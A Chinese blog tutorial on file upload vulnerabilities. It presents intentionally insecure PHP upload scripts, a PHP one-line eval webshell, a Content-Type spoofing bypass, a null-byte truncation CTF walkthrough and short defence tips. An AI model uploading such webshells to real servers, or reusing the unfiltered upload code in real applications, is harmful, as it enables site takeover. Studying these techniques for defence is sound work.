0x00 什么是文件上传
-
为了让用户将文件上传到网站,就像是给危机服务器的恶意用户打开了另一扇门。即便如此,在今天的现代互联网的Web应用程序,它是一种常见的要求,因为它有助于提高业务效率。企业支持门户,给用户各企业员工有效地共享文件。允许用户上传图片,视频,头像和许多其他类型的文件。向用户提供的功能越多,Web应用受到攻击的风险和机会就越大,这种功能会被恶意用户利用,获得到一个特定网站的权限,或危及服务器的可能性是非常高的。
0x01 为什么文件上传存在漏洞
-
上传文件的时候,如果服务器脚本语言,未对上传的文件进行严格的验证和过滤,就容易造成上传任意文件,包括上传脚本文件。
-
如果是正常的PHP文件,对服务器则没有任何危害。
-
PHP可以像其他的编程语言一样,可以查看目录下的文件,查看文件中的吗内容,可以执行系统命令等。
-
上传文件的时候,如果服务器端脚本语言,未对上传的文件进行严格的验证和过滤,就有可能上传恶意的PHP文件,从而控制整个网站,甚至是服务器。这个恶意的PHP文件,又被称为WebShell。
0x02 哪里存在文件上传漏洞
-
服务器配置不当
-
开源编辑器的上传漏洞
-
本地文件上传限制被绕过
-
过滤不严或被绕过
-
文件解析漏洞导致文件执行
-
文件路径截断
0x03 文件上传实例(本地测试)
-
裸体的文件上传
<!DOCTYPE html> <html> <head> <title>文件信息</title> </head> <meta charset="utf-8"> <body> <form action="" enctype="multipart/form-data" method="POST" name="uploadfile"> 上传文件: <input type="file" name="upfile" /> <input type="submit" value="http://dearch.blog.51cto.com/10423918/上传" name="submit"> </form> </body> </html> <!-- 完全没有过滤,任意文件上传 --> <?php if (isset($_POST['submit'])) { var_dump($_FILES['upfile']); echo "文件名:".$_FILES['upfile']['name']."<br />"; echo "文件大小:".$_FILES['upfile']['size']."<br />"; echo "文件类型:".$_FILES['upfile']['type']."<br />"; echo "临时路径:".$_FILES['upfile']['tmp_name']."<br />"; echo "上传后系统返回值:".$_FILES['upfile']['error']."<br />"; echo "====================保存分各线========================<br />"; if ($_FILES['upfile']['error'] == 0) { if (!is_dir("./upload")) { mkdir("./upload"); } $dir = "./upload/".$_FILES['upfile']['name']; move_uploaded_file($_FILES['upfile']['tmp_name'],$dir); echo "文件保存路径:".$dir."<br />"; echo "上传成功...<br />"; echo "图片预览:<br />"; echo "<img src="http://dearch.blog.51cto.com/10423918/.$dir.">"; } } ?>
设置本地代理用Burp Suite 抓包,通过对比我们可以看到,PHP中的<文件名>和<文件类型>分别对应数据包中<filename>和<Content-Type>。
-
穿上下内衣的文件上传
<!DOCTYPE html> <html> <head> <title>文件信息</title> </head> <meta charset="utf-8"> <body> <form action="" enctype="multipart/form-data" method="POST" name="uploadfile"> 上传文件: <input type="file" name="upfile" /> <input type="submit" value="http://dearch.blog.51cto.com/10423918/上传" name="submit"> </form> </body> </html> <!-- 按文件类型过滤 --> <?php if (isset($_POST['submit'])) { var_dump($_FILES['upfile']); echo "文件名:".$_FILES['upfile']['name']."<br />"; echo "文件大小:".$_FILES['upfile']['size']."<br />"; echo "文件类型:".$_FILES['upfile']['type']."<br />"; echo "临时路径:".$_FILES['upfile']['tmp_name']."<br />"; echo "上传后系统返回值:".$_FILES['upfile']['error']."<br />"; echo "====================保存分各线========================<br />"; $flag = 0; switch ($_FILES['upfile']['type']) { case 'image/jpeg': $flag = 1; break; default: die("文件类型错误....."); break; } if ($_FILES['upfile']['error'] == 0 && $flag ) { if (!is_dir("./upload")) { mkdir("./upload"); } $dir = "./upload/".$_FILES['upfile']['name']; move_uploaded_file($_FILES['upfile']['tmp_name'],$dir); echo "文件保存路径:".$dir."<br />"; echo "上传成功...<br />"; echo "图片预览:<br />"; echo "<img src="http://dearch.blog.51cto.com/10423918/.$dir.">"; } } ?>
在这段代码里,我们通过 <$_FILES['upfile']['type']> 来检测文件上传的类型,通过第一个图里的对比我们知道Http数据包请求头里的<Content-Type >对应的是上传文件的类型,那么我们是不是可以通过修改数据包的内容来实验绕过.ok,现在我们上传一个PHP一句话木马。
<?php @eval($_POST['xxx']); echo "dahuiji...."; ?>
看返回的页面我们知道我们成功绕过了对文件类型的检测,并且菜刀连接成功
-
穿上上内衣的文件上传(一个十六进制的<00>截断的ctf)
url:http://ctf4.shiyanbar.com/web/upload/
首先我们对抓取的数据包做出以上修改
通过16进制我们知道 <.>的16进制是<2e>在<2e>出插入一个字节,右键菜单里有<insert byte>插入。
ok,现在我们成功获取了flag。
现在我们说下这个实验的实现原理:
1.为什么在文件后面加上<.jpg>和在数据包<uploads/>后面加上修改后的文件名? PHP在对文件后缀进行判断时是对最后一个 <.xxx> 来判断的。这样我们修改过后的文件 名,PHP会将其判断为.jpg文件这样我们可以绕过对文件名的检测。 2.为什么我们对文件名修改过后还需要添加%00截断? 尽管我们知道我们上传的是一个PHP文件,但是如果不进行%00截断,我们上传的文件在服务 器上是以<xxx.php.jpg>格式保存也就是说这是一个图片文件,PHP是不会解析这个文件。 当我们进行%00截断后,服务器就会将%00后的<.jpg>进行截断,这是我们的的文件将以<xxx.php> 的形式保存在服务器上,我们的一句话木马也就成功的时上传成功了。
-
穿上外套的文件上传
<!DOCTYPE html> <html> <head> <title>文件信息</title> </head> <meta charset="utf-8"> <body> <form action="" enctype="multipart/form-data" method="POST" name="uploadfile"> 上传文件: <input type="file" name="upfile" /> <input type="submit" value="http://dearch.blog.51cto.com/10423918/上传" name="submit"> </form> </body> </html> <?php if (isset($_POST['submit'])) { var_dump($_FILES['upfile']); echo "文件名:".$_FILES['upfile']['name']."<br />"; echo "文件大小:".$_FILES['upfile']['size']."<br />"; echo "文件类型:".$_FILES['upfile']['type']."<br />"; echo "临时路径:".$_FILES['upfile']['tmp_name']."<br />"; echo "上传后系统返回值:".$_FILES['upfile']['error']."<br />"; echo "====================保存分各线========================<br />"; $flag = 0; $path_parts = pathinfo($_FILES['upfile']['name']); echo '---<br>'; var_dump($path_parts); //返回文件路径信息 if ($path_parts['extension'] == 'jpg' && $_FILES['upfile']['type'] == 'image/jpeg') { $flag = 1; }else{ die("文件类型错误...."); } if ($_FILES['upfile']['error'] == 0 && $flag ) { if (!is_dir("./upload")) { mkdir("./upload"); } $dir = "./upload/".$_FILES['upfile']['name']; echo "文件保存路径:".$dir."<br />"; move_uploaded_file($_FILES['upfile']['tmp_name'],$dir); echo "上传成功...<br />"; echo "图片预览:<br />"; echo "<img src="http://dearch.blog.51cto.com/10423918/.$dir.">"; } } ?>
上传一张正常的图片。
上传一句话木马进行绕过检测
为什么这次不能进行绕过? 我们对文件名进行截断后,当数据包到Apache的时候,Apache会对截断处理这时截断的文件 名变为<xxx.php>当PHP判断时会发现文件的后缀为<php>,然后我们就上传失败了.... (以上只是我对上传失败的一点理解,欢迎指正。 欢迎技术讨论,可以将上述方法绕过的同学欢迎指教。 致谢...)
0x04 上传漏洞的防御
-
对面文件后缀进行检测
-
对文件类型进行检测
-
对文件内容进行检测
-
设置上传白名单
本文出自 “启思·朝圣者” 博客,请务必保留此出处http://dearch.blog.51cto.com/10423918/1828635